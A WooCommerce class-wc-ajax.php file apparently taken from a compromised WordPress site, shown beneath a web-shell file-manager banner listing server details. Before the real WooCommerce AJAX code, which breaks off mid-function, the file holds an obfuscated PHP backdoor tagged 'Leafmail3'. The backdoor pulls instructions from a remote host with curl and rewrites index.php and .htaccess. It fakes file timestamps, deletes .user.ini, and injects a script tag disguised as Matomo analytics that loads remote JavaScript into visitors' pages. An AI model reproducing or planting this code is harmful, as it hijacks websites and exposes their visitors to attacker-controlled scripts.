Server IP : 192.158.238.246 / Your IP : 18.188.161.182 Web Server : LiteSpeed System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64 User : jenniferflocom ( 1321) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/jenniferflocom/www/wp-content/plugins/woocommerce/includes/ |
Upload File : |
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php /** * WooCommerce WC_AJAX. AJAX Event Handlers. * * @class WC_AJAX * @package WooCommerce\Classes */ use Automattic\Jetpack\Constants; use Automattic\WooCommerce\Internal\Orders\CouponsController; use Automattic\WooCommerce\Internal\Orders\TaxesController; use Automattic\WooCommerce\Internal\Admin\Orders\MetaBoxes\CustomMetaBox; use Automattic\WooCommerce\Utilities\ArrayUtil; use Automattic\WooCommerce\Utilities\NumberUtil; use Automattic\WooCommerce\Utilities\OrderUtil; use Automattic\WooCommerce\Utilities\StringUtil; defined( 'ABSPATH' ) || exit; /** * WC_Ajax class. */ class WC_AJAX { /** * Hook in ajax handlers. */ public static function init() { add_action( 'init', array( __CLASS__, 'define_ajax' ), 0 ); add_action( 'template_redirect', array( __CLASS__, 'do_wc_ajax' ), 0 ); self::add_ajax_events(); } /** * Get WC Ajax Endpoint. * * @param string $request Optional. * * @return string */ public static function get_endpoint( $request = '' ) { return esc_url_raw( apply_filters( 'woocommerce_ajax_get_endpoint', add_query_arg( 'wc-ajax', $request, remove_query_arg( array( 'remove_item', 'add-to-cart', 'added-to-cart', 'order_again', '_wpnonce' ), home_url( '/', 'relative' ) ) ), $request ) ); } /** * Set WC AJAX constant and headers. */ public static function define_ajax() { // phpcs:disable if ( ! empty( $_GET['wc-ajax'] ) ) { wc_maybe_define_constant( 'DOING_AJAX', true ); wc_maybe_define_constant( 'WC_DOING_AJAX', true ); if ( ! WP_DEBUG || ( WP_DEBUG && ! WP_DEBUG_DISPLAY ) ) { @ini_set( 'display_errors', 0 ); // Turn off display_errors during AJAX events to prevent malformed JSON. } $GLOBALS['wpdb']->hide_errors(); } // phpcs:enable } /** * Send headers for WC Ajax Requests. * * @since 2.5.0 */ private static function wc_ajax_headers() { if ( ! headers_sent() ) { send_origin_headers(); send_nosniff_header(); wc_nocache_headers(); header( 'Content-Type: text/html; charset=' . get_option( 'blog_charset' ) ); header( 'X-Robots-Tag: noindex' ); status_header( 200 ); } elseif ( Constants::is_true( 'WP_DEBUG' ) ) { headers_sent( $file, $line ); trigger_error( "wc_ajax_headers cannot set headers - headers already sent by {$file} on line {$line}", E_USER_NOTICE ); // @codingStandardsIgnoreLine } } /** * Check for WC Ajax request and fire action. */ public static function do_wc_ajax() { global $wp_query; // phpcs:disable WordPress.Security.NonceVerification.Recommended if ( ! empty( $_GET['wc-ajax'] ) ) { $wp_query->set( 'wc-ajax', sanitize_text_field( wp_unslash( $_GET['wc-ajax'] ) ) ); } $action = $wp_query->get( 'wc-ajax' ); if ( $action ) { self::wc_ajax_headers(); $action = sanitize_text_field( $action ); do_action( 'wc_ajax_' . $action ); wp_die(); } // phpcs:enable } /** * Hook in methods - uses WordPress ajax handlers (admin-ajax). */ public static function add_ajax_events() { $ajax_events_nopriv = array( 'get_refreshed_fragments', 'apply_coupon', 'remove_coupon', 'update_shipping_method', 'get_cart_totals', 'update_order_review', 'add_to_cart', 'remove_from_cart', 'checkout', 'get_variation', 'get_customer_location', ); foreach ( $ajax_events_nopriv as $ajax_event ) { add_action( 'wp_ajax_woocommerce_' . $ajax_event, array( __CLASS__, $ajax_event ) ); add_action( 'wp_ajax_nopriv_woocommerce_' . $ajax_event, array( __CLASS__, $ajax_event ) ); // WC AJAX can be used for frontend ajax requests. add_action( 'wc_ajax_' . $ajax_event, array( __CLASS__, $ajax_event ) ); } $ajax_events = array( 'feature_product', 'mark_order_status', 'get_order_details', 'add_attribute', 'add_new_attribute', 'remove_variations', 'save_attributes', 'add_attributes_and_variations', 'add_variation', 'link_all_variations', 'revoke_access_to_download', 'grant_access_to_download', 'get_customer_details', 'add_order_item', 'add_order_fee', 'add_order_shipping', 'add_order_tax', 'add_coupon_discount', 'remove_order_coupon', 'remove_order_item', 'remove_order_tax', 'calc_line_taxes', 'save_order_items', 'load_order_items', 'add_order_note', 'delete_order_note', 'json_search_products', 'json_search_products_and_variations', 'json_search_downloadable_products_and_variations', 'json_search_customers', 'json_search_categories', 'json_search_categories_tree', 'json_search_taxonomy_terms', 'json_search_product_attributes', 'json_search_pages', 'term_ordering', 'product_ordering', 'refund_line_items', 'delete_refund', 'rated', 'update_api_key', 'load_variations', 'save_variations', 'bulk_edit_variations', 'tax_rates_save_changes', 'shipping_zones_save_changes', 'shipping_zone_add_method', 'shipping_zone_remove_method', 'shipping_zone_methods_save_changes', 'shipping_zone_methods_save_settings', 'shipping_classes_save_changes', 'toggle_gateway_enabled', ); foreach ( $ajax_events as $ajax_event ) { add_action( 'wp_ajax_woocommerce_' . $ajax_event, array( __CLASS__, $ajax_event ) ); } $ajax_private_events = array( 'order_add_meta', 'order_delete_meta', ); foreach ( $ajax_private_events as $ajax_event ) { add_action( 'wp_ajax_woocommerce_' . $ajax_event, function() use ( $ajax_event ) { call_user_func( array( __CLASS__, $ajax_event ) ); } ); } // WP's heartbeat. $ajax_heartbeat_callbacks = array( 'order_refresh_lock', 'check_locked_orders', ); foreach ( $ajax_heartbeat_callbacks as $ajax_callback ) { add_filter( 'heartbeat_received', function( $response, $data ) use ( $ajax_callback ) { return call_user_func_array( array( __CLASS__, $ajax_callback ), func_get_args() ); }, 11, 2 ); } } /** * Get a refreshed cart fragment, including the mini cart HTML. */ public static function get_refreshed_fragments() { ob_start(); woocommerce_mini_cart(); $mini_cart = ob_get_clean(); $data = array( 'fragments' => apply_filters( 'woocommerce_add_to_cart_fragments', array( 'div.widget_shopping_cart_content' 